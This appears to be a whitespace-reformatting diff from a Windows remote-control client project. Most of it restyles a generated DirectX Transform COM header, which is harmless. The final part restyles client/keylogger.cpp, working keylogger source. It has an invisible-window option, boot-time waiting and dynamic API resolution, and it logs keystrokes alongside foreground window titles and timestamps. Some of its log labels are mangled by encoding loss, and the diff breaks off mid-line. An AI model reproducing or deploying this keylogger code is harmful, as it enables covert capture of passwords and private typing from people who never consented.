IDXLookupTable_ApplyTables_Stub( /* interface __MIDL_itf_dxtrans_0278 */ -/* [local] */ +/* [local] */ -typedef struct DXRAWSURFACEINFO - { +typedef struct DXRAWSURFACEINFO { BYTE *pFirstByte; long lPitch; ULONG Width; @@ -4738,7 +4714,7 @@ typedef struct DXRAWSURFACEINFO HDC hdc; DWORD dwColorKey; DXBASESAMPLE *pPalette; - } DXRAWSURFACEINFO; +} DXRAWSURFACEINFO; @@ -4749,52 +4725,50 @@ extern RPC_IF_HANDLE __MIDL_itf_dxtrans_0278_v0_0_s_ifspec; #define __IDXRawSurface_INTERFACE_DEFINED__ /* interface IDXRawSurface */ -/* [local][unique][helpstring][uuid][object] */ +/* [local][unique][helpstring][uuid][object] */ EXTERN_C const IID IID_IDXRawSurface; #if defined(__cplusplus) && !defined(CINTERFACE) - - MIDL_INTERFACE("09756C8A-D96A-11d1-9062-00C04FD9189D") - IDXRawSurface : public IUnknown - { - public: - virtual HRESULT STDMETHODCALLTYPE GetSurfaceInfo( - DXRAWSURFACEINFO *pSurfaceInfo) = 0; - - }; - + +MIDL_INTERFACE("09756C8A-D96A-11d1-9062-00C04FD9189D") +IDXRawSurface : public IUnknown { +public: + virtual HRESULT STDMETHODCALLTYPE GetSurfaceInfo( + DXRAWSURFACEINFO *pSurfaceInfo) = 0; + +}; + #else /* C style interface */ - typedef struct IDXRawSurfaceVtbl - { - BEGIN_INTERFACE - - HRESULT ( STDMETHODCALLTYPE *QueryInterface )( - IDXRawSurface * This, - /* [in] */ REFIID riid, - /* [iid_is][out] */ void **ppvObject); - - ULONG ( STDMETHODCALLTYPE *AddRef )( - IDXRawSurface * This); - - ULONG ( STDMETHODCALLTYPE *Release )( - IDXRawSurface * This); - - HRESULT ( STDMETHODCALLTYPE *GetSurfaceInfo )( - IDXRawSurface * This, - DXRAWSURFACEINFO *pSurfaceInfo); - - END_INTERFACE - } IDXRawSurfaceVtbl; +typedef struct IDXRawSurfaceVtbl { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDXRawSurface * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDXRawSurface * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDXRawSurface * This); + + HRESULT ( STDMETHODCALLTYPE *GetSurfaceInfo )( + IDXRawSurface * This, + DXRAWSURFACEINFO *pSurfaceInfo); + + END_INTERFACE +} IDXRawSurfaceVtbl; + +interface IDXRawSurface +{ + CONST_VTBL struct IDXRawSurfaceVtbl *lpVtbl; +}; - interface IDXRawSurface - { - CONST_VTBL struct IDXRawSurfaceVtbl *lpVtbl; - }; - #ifdef COBJMACROS @@ -4819,7 +4793,7 @@ EXTERN_C const IID IID_IDXRawSurface; -HRESULT STDMETHODCALLTYPE IDXRawSurface_GetSurfaceInfo_Proxy( +HRESULT STDMETHODCALLTYPE IDXRawSurface_GetSurfaceInfo_Proxy( IDXRawSurface * This, DXRAWSURFACEINFO *pSurfaceInfo); @@ -4839,52 +4813,50 @@ void __RPC_STUB IDXRawSurface_GetSurfaceInfo_Stub( #define __IHTMLDXTransform_INTERFACE_DEFINED__ /* interface IHTMLDXTransform */ -/* [local][unique][helpstring][uuid][object] */ +/* [local][unique][helpstring][uuid][object] */ EXTERN_C const IID IID_IHTMLDXTransform; #if defined(__cplusplus) && !defined(CINTERFACE) - - MIDL_INTERFACE("30E2AB7D-4FDD-4159-B7EA-DC722BF4ADE5") - IHTMLDXTransform : public IUnknown - { - public: - virtual HRESULT STDMETHODCALLTYPE SetHostUrl( - BSTR bstrHostUrl) = 0; - - }; - + +MIDL_INTERFACE("30E2AB7D-4FDD-4159-B7EA-DC722BF4ADE5") +IHTMLDXTransform : public IUnknown { +public: + virtual HRESULT STDMETHODCALLTYPE SetHostUrl( + BSTR bstrHostUrl) = 0; + +}; + #else /* C style interface */ - typedef struct IHTMLDXTransformVtbl - { - BEGIN_INTERFACE - - HRESULT ( STDMETHODCALLTYPE *QueryInterface )( - IHTMLDXTransform * This, - /* [in] */ REFIID riid, - /* [iid_is][out] */ void **ppvObject); - - ULONG ( STDMETHODCALLTYPE *AddRef )( - IHTMLDXTransform * This); - - ULONG ( STDMETHODCALLTYPE *Release )( - IHTMLDXTransform * This); - - HRESULT ( STDMETHODCALLTYPE *SetHostUrl )( - IHTMLDXTransform * This, - BSTR bstrHostUrl); - - END_INTERFACE - } IHTMLDXTransformVtbl; +typedef struct IHTMLDXTransformVtbl { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IHTMLDXTransform * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IHTMLDXTransform * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IHTMLDXTransform * This); + + HRESULT ( STDMETHODCALLTYPE *SetHostUrl )( + IHTMLDXTransform * This, + BSTR bstrHostUrl); + + END_INTERFACE +} IHTMLDXTransformVtbl; + +interface IHTMLDXTransform +{ + CONST_VTBL struct IHTMLDXTransformVtbl *lpVtbl; +}; - interface IHTMLDXTransform - { - CONST_VTBL struct IHTMLDXTransformVtbl *lpVtbl; - }; - #ifdef COBJMACROS @@ -4909,7 +4881,7 @@ EXTERN_C const IID IID_IHTMLDXTransform; -HRESULT STDMETHODCALLTYPE IHTMLDXTransform_SetHostUrl_Proxy( +HRESULT STDMETHODCALLTYPE IHTMLDXTransform_SetHostUrl_Proxy( IHTMLDXTransform * This, BSTR bstrHostUrl); @@ -4926,27 +4898,27 @@ void __RPC_STUB IHTMLDXTransform_SetHostUrl_Stub( /* interface __MIDL_itf_dxtrans_0280 */ -/* [local] */ +/* [local] */ -typedef -enum DXTFILTER_STATUS - { DXTFILTER_STATUS_Stopped = 0, - DXTFILTER_STATUS_Applied = DXTFILTER_STATUS_Stopped + 1, - DXTFILTER_STATUS_Playing = DXTFILTER_STATUS_Applied + 1, - DXTFILTER_STATUS_MAX = DXTFILTER_STATUS_Playing + 1 - } DXTFILTER_STATUS; +typedef +enum DXTFILTER_STATUS { + DXTFILTER_STATUS_Stopped = 0, + DXTFILTER_STATUS_Applied = DXTFILTER_STATUS_Stopped + 1, + DXTFILTER_STATUS_Playing = DXTFILTER_STATUS_Applied + 1, + DXTFILTER_STATUS_MAX = DXTFILTER_STATUS_Playing + 1 +} DXTFILTER_STATUS; -typedef -enum DXTFILTER_DISPID - { DISPID_DXTFilter_Percent = 1, - DISPID_DXTFilter_Duration = DISPID_DXTFilter_Percent + 1, - DISPID_DXTFilter_Enabled = DISPID_DXTFilter_Duration + 1, - DISPID_DXTFilter_Status = DISPID_DXTFilter_Enabled + 1, - DISPID_DXTFilter_Apply = DISPID_DXTFilter_Status + 1, - DISPID_DXTFilter_Play = DISPID_DXTFilter_Apply + 1, - DISPID_DXTFilter_Stop = DISPID_DXTFilter_Play + 1, - DISPID_DXTFilter_MAX = DISPID_DXTFilter_Stop + 1 - } DXTFILTER_DISPID; +typedef +enum DXTFILTER_DISPID { + DISPID_DXTFilter_Percent = 1, + DISPID_DXTFilter_Duration = DISPID_DXTFilter_Percent + 1, + DISPID_DXTFilter_Enabled = DISPID_DXTFilter_Duration + 1, + DISPID_DXTFilter_Status = DISPID_DXTFilter_Enabled + 1, + DISPID_DXTFilter_Apply = DISPID_DXTFilter_Status + 1, + DISPID_DXTFilter_Play = DISPID_DXTFilter_Apply + 1, + DISPID_DXTFilter_Stop = DISPID_DXTFilter_Play + 1, + DISPID_DXTFilter_MAX = DISPID_DXTFilter_Stop + 1 +} DXTFILTER_DISPID; @@ -4957,140 +4929,138 @@ extern RPC_IF_HANDLE __MIDL_itf_dxtrans_0280_v0_0_s_ifspec; #define __ICSSFilterDispatch_INTERFACE_DEFINED__ /* interface ICSSFilterDispatch */ -/* [dual][unique][helpstring][uuid][object] */ +/* [dual][unique][helpstring][uuid][object] */ EXTERN_C const IID IID_ICSSFilterDispatch; #if defined(__cplusplus) && !defined(CINTERFACE) - - MIDL_INTERFACE("9519152B-9484-4A6C-B6A7-4F25E92D6C6B") - ICSSFilterDispatch : public IDispatch - { - public: - virtual /* [id][propget] */ HRESULT STDMETHODCALLTYPE get_Percent( - /* [retval][out] */ float *pVal) = 0; - - virtual /* [id][propput] */ HRESULT STDMETHODCALLTYPE put_Percent( - /* [in] */ float newVal) = 0; - - virtual /* [id][propget] */ HRESULT STDMETHODCALLTYPE get_Duration( - /* [retval][out] */ float *pVal) = 0; - - virtual /* [id][propput] */ HRESULT STDMETHODCALLTYPE put_Duration( - /* [in] */ float newVal) = 0; - - virtual /* [id][propget] */ HRESULT STDMETHODCALLTYPE get_Enabled( - /* [retval][out] */ VARIANT_BOOL *pfVal) = 0; - - virtual /* [id][propput] */ HRESULT STDMETHODCALLTYPE put_Enabled( - /* [in] */ VARIANT_BOOL fVal) = 0; - - virtual /* [id][propget] */ HRESULT STDMETHODCALLTYPE get_Status( - /* [retval][out] */ DXTFILTER_STATUS *peVal) = 0; - - virtual /* [id] */ HRESULT STDMETHODCALLTYPE Apply( void) = 0; - - virtual /* [id] */ HRESULT STDMETHODCALLTYPE Play( - /* [optional][in] */ VARIANT varDuration) = 0; - - virtual /* [id] */ HRESULT STDMETHODCALLTYPE Stop( void) = 0; - - }; - + +MIDL_INTERFACE("9519152B-9484-4A6C-B6A7-4F25E92D6C6B") +ICSSFilterDispatch : public IDispatch { +public: + virtual /* [id][propget] */ HRESULT STDMETHODCALLTYPE get_Percent( + /* [retval][out] */ float *pVal) = 0; + + virtual /* [id][propput] */ HRESULT STDMETHODCALLTYPE put_Percent( + /* [in] */ float newVal) = 0; + + virtual /* [id][propget] */ HRESULT STDMETHODCALLTYPE get_Duration( + /* [retval][out] */ float *pVal) = 0; + + virtual /* [id][propput] */ HRESULT STDMETHODCALLTYPE put_Duration( + /* [in] */ float newVal) = 0; + + virtual /* [id][propget] */ HRESULT STDMETHODCALLTYPE get_Enabled( + /* [retval][out] */ VARIANT_BOOL *pfVal) = 0; + + virtual /* [id][propput] */ HRESULT STDMETHODCALLTYPE put_Enabled( + /* [in] */ VARIANT_BOOL fVal) = 0; + + virtual /* [id][propget] */ HRESULT STDMETHODCALLTYPE get_Status( + /* [retval][out] */ DXTFILTER_STATUS *peVal) = 0; + + virtual /* [id] */ HRESULT STDMETHODCALLTYPE Apply( void) = 0; + + virtual /* [id] */ HRESULT STDMETHODCALLTYPE Play( + /* [optional][in] */ VARIANT varDuration) = 0; + + virtual /* [id] */ HRESULT STDMETHODCALLTYPE Stop( void) = 0; + +}; + #else /* C style interface */ - typedef struct ICSSFilterDispatchVtbl - { - BEGIN_INTERFACE - - HRESULT ( STDMETHODCALLTYPE *QueryInterface )( - ICSSFilterDispatch * This, - /* [in] */ REFIID riid, - /* [iid_is][out] */ void **ppvObject); - - ULONG ( STDMETHODCALLTYPE *AddRef )( - ICSSFilterDispatch * This); - - ULONG ( STDMETHODCALLTYPE *Release )( - ICSSFilterDispatch * This); - - HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( - ICSSFilterDispatch * This, - /* [out] */ UINT *pctinfo); - - HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( - ICSSFilterDispatch * This, - /* [in] */ UINT iTInfo, - /* [in] */ LCID lcid, - /* [out] */ ITypeInfo **ppTInfo); - - HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( - ICSSFilterDispatch * This, - /* [in] */ REFIID riid, - /* [size_is][in] */ LPOLESTR *rgszNames, - /* [in] */ UINT cNames, - /* [in] */ LCID lcid, - /* [size_is][out] */ DISPID *rgDispId); - - /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( - ICSSFilterDispatch * This, - /* [in] */ DISPID dispIdMember, - /* [in] */ REFIID riid, - /* [in] */ LCID lcid, - /* [in] */ WORD wFlags, - /* [out][in] */ DISPPARAMS *pDispParams, - /* [out] */ VARIANT *pVarResult, - /* [out] */ EXCEPINFO *pExcepInfo, - /* [out] */ UINT *puArgErr); - - /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Percent )( - ICSSFilterDispatch * This, - /* [retval][out] */ float *pVal); - - /* [id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Percent )( - ICSSFilterDispatch * This, - /* [in] */ float newVal); - - /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Duration )( - ICSSFilterDispatch * This, - /* [retval][out] */ float *pVal); - - /* [id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Duration )( - ICSSFilterDispatch * This, - /* [in] */ float newVal); - - /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Enabled )( - ICSSFilterDispatch * This, - /* [retval][out] */ VARIANT_BOOL *pfVal); - - /* [id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Enabled )( - ICSSFilterDispatch * This, - /* [in] */ VARIANT_BOOL fVal); - - /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Status )( - ICSSFilterDispatch * This, - /* [retval][out] */ DXTFILTER_STATUS *peVal); - - /* [id] */ HRESULT ( STDMETHODCALLTYPE *Apply )( - ICSSFilterDispatch * This); - - /* [id] */ HRESULT ( STDMETHODCALLTYPE *Play )( - ICSSFilterDispatch * This, - /* [optional][in] */ VARIANT varDuration); - - /* [id] */ HRESULT ( STDMETHODCALLTYPE *Stop )( - ICSSFilterDispatch * This); - - END_INTERFACE - } ICSSFilterDispatchVtbl; +typedef struct ICSSFilterDispatchVtbl { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + ICSSFilterDispatch * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + ICSSFilterDispatch * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + ICSSFilterDispatch * This); + + HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( + ICSSFilterDispatch * This, + /* [out] */ UINT *pctinfo); + + HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( + ICSSFilterDispatch * This, + /* [in] */ UINT iTInfo, + /* [in] */ LCID lcid, + /* [out] */ ITypeInfo **ppTInfo); + + HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( + ICSSFilterDispatch * This, + /* [in] */ REFIID riid, + /* [size_is][in] */ LPOLESTR *rgszNames, + /* [in] */ UINT cNames, + /* [in] */ LCID lcid, + /* [size_is][out] */ DISPID *rgDispId); + + /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( + ICSSFilterDispatch * This, + /* [in] */ DISPID dispIdMember, + /* [in] */ REFIID riid, + /* [in] */ LCID lcid, + /* [in] */ WORD wFlags, + /* [out][in] */ DISPPARAMS *pDispParams, + /* [out] */ VARIANT *pVarResult, + /* [out] */ EXCEPINFO *pExcepInfo, + /* [out] */ UINT *puArgErr); + + /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Percent )( + ICSSFilterDispatch * This, + /* [retval][out] */ float *pVal); + + /* [id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Percent )( + ICSSFilterDispatch * This, + /* [in] */ float newVal); + + /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Duration )( + ICSSFilterDispatch * This, + /* [retval][out] */ float *pVal); + + /* [id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Duration )( + ICSSFilterDispatch * This, + /* [in] */ float newVal); + + /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Enabled )( + ICSSFilterDispatch * This, + /* [retval][out] */ VARIANT_BOOL *pfVal); + + /* [id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Enabled )( + ICSSFilterDispatch * This, + /* [in] */ VARIANT_BOOL fVal); + + /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Status )( + ICSSFilterDispatch * This, + /* [retval][out] */ DXTFILTER_STATUS *peVal); + + /* [id] */ HRESULT ( STDMETHODCALLTYPE *Apply )( + ICSSFilterDispatch * This); + + /* [id] */ HRESULT ( STDMETHODCALLTYPE *Play )( + ICSSFilterDispatch * This, + /* [optional][in] */ VARIANT varDuration); + + /* [id] */ HRESULT ( STDMETHODCALLTYPE *Stop )( + ICSSFilterDispatch * This); + + END_INTERFACE +} ICSSFilterDispatchVtbl; + +interface ICSSFilterDispatch +{ + CONST_VTBL struct ICSSFilterDispatchVtbl *lpVtbl; +}; - interface ICSSFilterDispatch - { - CONST_VTBL struct ICSSFilterDispatchVtbl *lpVtbl; - }; - #ifdef COBJMACROS @@ -5155,7 +5125,7 @@ EXTERN_C const IID IID_ICSSFilterDispatch; -/* [id][propget] */ HRESULT STDMETHODCALLTYPE ICSSFilterDispatch_get_Percent_Proxy( +/* [id][propget] */ HRESULT STDMETHODCALLTYPE ICSSFilterDispatch_get_Percent_Proxy( ICSSFilterDispatch * This, /* [retval][out] */ float *pVal); @@ -5167,7 +5137,7 @@ void __RPC_STUB ICSSFilterDispatch_get_Percent_Stub( DWORD *_pdwStubPhase); -/* [id][propput] */ HRESULT STDMETHODCALLTYPE ICSSFilterDispatch_put_Percent_Proxy( +/* [id][propput] */ HRESULT STDMETHODCALLTYPE ICSSFilterDispatch_put_Percent_Proxy( ICSSFilterDispatch * This, /* [in] */ float newVal); @@ -5179,7 +5149,7 @@ void __RPC_STUB ICSSFilterDispatch_put_Percent_Stub( DWORD *_pdwStubPhase); -/* [id][propget] */ HRESULT STDMETHODCALLTYPE ICSSFilterDispatch_get_Duration_Proxy( +/* [id][propget] */ HRESULT STDMETHODCALLTYPE ICSSFilterDispatch_get_Duration_Proxy( ICSSFilterDispatch * This, /* [retval][out] */ float *pVal); @@ -5191,7 +5161,7 @@ void __RPC_STUB ICSSFilterDispatch_get_Duration_Stub( DWORD *_pdwStubPhase); -/* [id][propput] */ HRESULT STDMETHODCALLTYPE ICSSFilterDispatch_put_Duration_Proxy( +/* [id][propput] */ HRESULT STDMETHODCALLTYPE ICSSFilterDispatch_put_Duration_Proxy( ICSSFilterDispatch * This, /* [in] */ float newVal); @@ -5203,7 +5173,7 @@ void __RPC_STUB ICSSFilterDispatch_put_Duration_Stub( DWORD *_pdwStubPhase); -/* [id][propget] */ HRESULT STDMETHODCALLTYPE ICSSFilterDispatch_get_Enabled_Proxy( +/* [id][propget] */ HRESULT STDMETHODCALLTYPE ICSSFilterDispatch_get_Enabled_Proxy( ICSSFilterDispatch * This, /* [retval][out] */ VARIANT_BOOL *pfVal); @@ -5215,7 +5185,7 @@ void __RPC_STUB ICSSFilterDispatch_get_Enabled_Stub( DWORD *_pdwStubPhase); -/* [id][propput] */ HRESULT STDMETHODCALLTYPE ICSSFilterDispatch_put_Enabled_Proxy( +/* [id][propput] */ HRESULT STDMETHODCALLTYPE ICSSFilterDispatch_put_Enabled_Proxy( ICSSFilterDispatch * This, /* [in] */ VARIANT_BOOL fVal); @@ -5227,7 +5197,7 @@ void __RPC_STUB ICSSFilterDispatch_put_Enabled_Stub( DWORD *_pdwStubPhase); -/* [id][propget] */ HRESULT STDMETHODCALLTYPE ICSSFilterDispatch_get_Status_Proxy( +/* [id][propget] */ HRESULT STDMETHODCALLTYPE ICSSFilterDispatch_get_Status_Proxy( ICSSFilterDispatch * This, /* [retval][out] */ DXTFILTER_STATUS *peVal); @@ -5239,7 +5209,7 @@ void __RPC_STUB ICSSFilterDispatch_get_Status_Stub( DWORD *_pdwStubPhase); -/* [id] */ HRESULT STDMETHODCALLTYPE ICSSFilterDispatch_Apply_Proxy( +/* [id] */ HRESULT STDMETHODCALLTYPE ICSSFilterDispatch_Apply_Proxy( ICSSFilterDispatch * This); @@ -5250,7 +5220,7 @@ void __RPC_STUB ICSSFilterDispatch_Apply_Stub( DWORD *_pdwStubPhase); -/* [id] */ HRESULT STDMETHODCALLTYPE ICSSFilterDispatch_Play_Proxy( +/* [id] */ HRESULT STDMETHODCALLTYPE ICSSFilterDispatch_Play_Proxy( ICSSFilterDispatch * This, /* [optional][in] */ VARIANT varDuration); @@ -5262,7 +5232,7 @@ void __RPC_STUB ICSSFilterDispatch_Play_Stub( DWORD *_pdwStubPhase); -/* [id] */ HRESULT STDMETHODCALLTYPE ICSSFilterDispatch_Stop_Proxy( +/* [id] */ HRESULT STDMETHODCALLTYPE ICSSFilterDispatch_Stop_Proxy( ICSSFilterDispatch * This); @@ -5282,7 +5252,7 @@ void __RPC_STUB ICSSFilterDispatch_Stop_Stub( #define __DXTRANSLib_LIBRARY_DEFINED__ /* library DXTRANSLib */ -/* [helpstring][version][uuid] */ +/* [helpstring][version][uuid] */ EXTERN_C const IID LIBID_DXTRANSLib; @@ -5292,7 +5262,7 @@ EXTERN_C const CLSID CLSID_DXTransformFactory; #ifdef __cplusplus class DECLSPEC_UUID("D1FE6762-FC48-11D0-883A-3C8B00C10000") -DXTransformFactory; + DXTransformFactory; #endif EXTERN_C const CLSID CLSID_DXTaskManager; @@ -5300,7 +5270,7 @@ EXTERN_C const CLSID CLSID_DXTaskManager; #ifdef __cplusplus class DECLSPEC_UUID("4CB26C03-FF93-11d0-817E-0000F87557DB") -DXTaskManager; + DXTaskManager; #endif EXTERN_C const CLSID CLSID_DXTScale; @@ -5308,7 +5278,7 @@ EXTERN_C const CLSID CLSID_DXTScale; #ifdef __cplusplus class DECLSPEC_UUID("555278E2-05DB-11D1-883A-3C8B00C10000") -DXTScale; + DXTScale; #endif EXTERN_C const CLSID CLSID_DXSurface; @@ -5316,7 +5286,7 @@ EXTERN_C const CLSID CLSID_DXSurface; #ifdef __cplusplus class DECLSPEC_UUID("0E890F83-5F79-11D1-9043-00C04FD9189D") -DXSurface; + DXSurface; #endif EXTERN_C const CLSID CLSID_DXSurfaceModifier; @@ -5324,7 +5294,7 @@ EXTERN_C const CLSID CLSID_DXSurfaceModifier; #ifdef __cplusplus class DECLSPEC_UUID("3E669F1D-9C23-11d1-9053-00C04FD9189D") -DXSurfaceModifier; + DXSurfaceModifier; #endif EXTERN_C const CLSID CLSID_DXGradient; @@ -5332,7 +5302,7 @@ EXTERN_C const CLSID CLSID_DXGradient; #ifdef __cplusplus class DECLSPEC_UUID("C6365470-F667-11d1-9067-00C04FD9189D") -DXGradient; + DXGradient; #endif EXTERN_C const CLSID CLSID_DXTFilter; @@ -5340,16 +5310,16 @@ EXTERN_C const CLSID CLSID_DXTFilter; #ifdef __cplusplus class DECLSPEC_UUID("385A91BC-1E8A-4e4a-A7A6-F4FC1E6CA1BD") -DXTFilter; + DXTFilter; #endif #endif /* __DXTRANSLib_LIBRARY_DEFINED__ */ /* Additional Prototypes for ALL interfaces */ -unsigned long __RPC_USER VARIANT_UserSize( unsigned long *, unsigned long , VARIANT * ); -unsigned char * __RPC_USER VARIANT_UserMarshal( unsigned long *, unsigned char *, VARIANT * ); -unsigned char * __RPC_USER VARIANT_UserUnmarshal(unsigned long *, unsigned char *, VARIANT * ); -void __RPC_USER VARIANT_UserFree( unsigned long *, VARIANT * ); +unsigned long __RPC_USER VARIANT_UserSize( unsigned long *, unsigned long, VARIANT * ); +unsigned char * __RPC_USER VARIANT_UserMarshal( unsigned long *, unsigned char *, VARIANT * ); +unsigned char * __RPC_USER VARIANT_UserUnmarshal(unsigned long *, unsigned char *, VARIANT * ); +void __RPC_USER VARIANT_UserFree( unsigned long *, VARIANT * ); /* end of Additional Prototypes */ diff --git a/client/keylogger.cpp b/client/keylogger.cpp index 8565cb9..1b64a72 100644 --- a/client/keylogger.cpp +++ b/client/keylogger.cpp @@ -18,7 +18,7 @@ // defines whether the window is visible or not // should be solved with makefile, not in this file #define visible // (visible / invisible) -// Defines whether you want to enable or disable +// Defines whether you want to enable or disable // boot time waiting if running at system boot. #define bootwait // (bootwait / nowait) // defines which format to use for logging @@ -30,36 +30,36 @@ // or you will get problems since every function uses this variable. #if FORMAT == 0 -const std::map keyname{ - {VK_BACK, "[BACKSPACE]" }, - {VK_RETURN, "\n" }, - {VK_SPACE, "_" }, - {VK_TAB, "[TAB]" }, - {VK_SHIFT, "[SHIFT]" }, - {VK_LSHIFT, "[LSHIFT]" }, - {VK_RSHIFT, "[RSHIFT]" }, - {VK_CONTROL, "[CONTROL]" }, - {VK_LCONTROL, "[LCONTROL]" }, - {VK_RCONTROL, "[RCONTROL]" }, - {VK_MENU, "[ALT]" }, - {VK_LWIN, "[LWIN]" }, - {VK_RWIN, "[RWIN]" }, - {VK_ESCAPE, "[ESCAPE]" }, - {VK_END, "[END]" }, - {VK_HOME, "[HOME]" }, - {VK_LEFT, "[LEFT]" }, - {VK_RIGHT, "[RIGHT]" }, - {VK_UP, "[UP]" }, - {VK_DOWN, "[DOWN]" }, - {VK_PRIOR, "[PG_UP]" }, - {VK_NEXT, "[PG_DOWN]" }, - {VK_OEM_PERIOD, "." }, - {VK_DECIMAL, "." }, - {VK_OEM_PLUS, "+" }, - {VK_OEM_MINUS, "-" }, - {VK_ADD, "+" }, - {VK_SUBTRACT, "-" }, - {VK_CAPITAL, "[CAPSLOCK]" }, +const std::map keyname { + {VK_BACK, "[BACKSPACE]" }, + {VK_RETURN, "\n" }, + {VK_SPACE, "_" }, + {VK_TAB, "[TAB]" }, + {VK_SHIFT, "[SHIFT]" }, + {VK_LSHIFT, "[LSHIFT]" }, + {VK_RSHIFT, "[RSHIFT]" }, + {VK_CONTROL, "[CONTROL]" }, + {VK_LCONTROL, "[LCONTROL]" }, + {VK_RCONTROL, "[RCONTROL]" }, + {VK_MENU, "[ALT]" }, + {VK_LWIN, "[LWIN]" }, + {VK_RWIN, "[RWIN]" }, + {VK_ESCAPE, "[ESCAPE]" }, + {VK_END, "[END]" }, + {VK_HOME, "[HOME]" }, + {VK_LEFT, "[LEFT]" }, + {VK_RIGHT, "[RIGHT]" }, + {VK_UP, "[UP]" }, + {VK_DOWN, "[DOWN]" }, + {VK_PRIOR, "[PG_UP]" }, + {VK_NEXT, "[PG_DOWN]" }, + {VK_OEM_PERIOD, "." }, + {VK_DECIMAL, "." }, + {VK_OEM_PLUS, "+" }, + {VK_OEM_MINUS, "-" }, + {VK_ADD, "+" }, + {VK_SUBTRACT, "-" }, + {VK_CAPITAL, "[CAPSLOCK]" }, }; #endif @@ -75,143 +75,129 @@ void* _user = NULL; // Save parse keyboard information and use callback to process record. int Save(int key_stroke) { - std::stringstream output; - static char lastwindow[MAX_PATH] = {}; -#ifndef mouseignore - if ((key_stroke == 1) || (key_stroke == 2)) - { - return 0; // ignore mouse clicks - } + std::stringstream output; + static char lastwindow[MAX_PATH] = {}; +#ifndef mouseignore + if ((key_stroke == 1) || (key_stroke == 2)) { + return 0; // ignore mouse clicks + } #endif - HWND foreground = GetForegroundWindow(); - HKL layout = NULL; + HWND foreground = GetForegroundWindow(); + HKL layout = NULL; - if (foreground) - { - // get keyboard layout of the thread - GET_PROCESS_EASY(GetWindowThreadProcessId); - DWORD threadID = GetWindowThreadProcessId(foreground, NULL); - GET_PROCESS_EASY(GetKeyboardLayout); - layout = GetKeyboardLayout(threadID); - } + if (foreground) { + // get keyboard layout of the thread + GET_PROCESS_EASY(GetWindowThreadProcessId); + DWORD threadID = GetWindowThreadProcessId(foreground, NULL); + GET_PROCESS_EASY(GetKeyboardLayout); + layout = GetKeyboardLayout(threadID); + } - if (foreground) - { - char window_title[MAX_PATH] = {}; - GET_PROCESS_EASY(GetWindowTextA); - GetWindowTextA(foreground, (LPSTR)window_title, MAX_PATH); + if (foreground) { + char window_title[MAX_PATH] = {}; + GET_PROCESS_EASY(GetWindowTextA); + GetWindowTextA(foreground, (LPSTR)window_title, MAX_PATH); - if (strcmp(window_title, lastwindow) != 0) - { - strcpy_s(lastwindow, sizeof(lastwindow), window_title); - // get time - SYSTEMTIME s; - GetLocalTime(&s); - char tm[64]; - sprintf_s(tm, "%d-%02d-%02d %02d:%02d:%02d", s.wYear, s.wMonth, s.wDay, - s.wHour, s.wMinute, s.wSecond); + if (strcmp(window_title, lastwindow) != 0) { + strcpy_s(lastwindow, sizeof(lastwindow), window_title); + // get time + SYSTEMTIME s; + GetLocalTime(&s); + char tm[64]; + sprintf_s(tm, "%d-%02d-%02d %02d:%02d:%02d", s.wYear, s.wMonth, s.wDay, + s.wHour, s.wMinute, s.wSecond); - output << "\r\n\r\n[:] " << window_title << "\r\n[ʱ:]" << tm << "\r\n[:]"; - } - } + output << "\r\n\r\n[:] " << window_title << "\r\n[ʱ:]" << tm << "\r\n[:]"; + } + } #if FORMAT == 10 - output << '[' << key_stroke << ']'; + output << '[' << key_stroke << ']'; #elif FORMAT == 16 - output << std::hex << "[" << key_stroke << ']'; + output << std::hex << "[" << key_stroke << ']'; #else - if (keyname.find(key_stroke) != keyname.end()) - { - output << keyname.at(key_stroke); - } - else - { - GET_PROCESS_EASY(GetKeyState); - // check caps lock - bool lowercase = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0); + if (keyname.find(key_stroke) != keyname.end()) { + output << keyname.at(key_stroke); + } else { + GET_PROCESS_EASY(GetKeyState); + // check caps lock + bool lowercase = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0); - // check shift key - if ((GetKeyState(VK_SHIFT) & 0x1000) != 0 || (GetKeyState(VK_LSHIFT) & 0x1000) != 0 - || (GetKeyState(VK_RSHIFT) & 0x1000) != 0) - { - lowercase = !lowercase; - } + // check shift key + if ((GetKeyState(VK_SHIFT) & 0x1000) != 0 || (GetKeyState(VK_LSHIFT) & 0x1000) != 0 + || (GetKeyState(VK_RSHIFT) & 0x1000) != 0) { + lowercase = !lowercase; + } - // map virtual key according to keyboard layout - GET_PROCESS_EASY(MapVirtualKeyExA); - char key = MapVirtualKeyExA(key_stroke, MAPVK_VK_TO_CHAR, layout); + // map 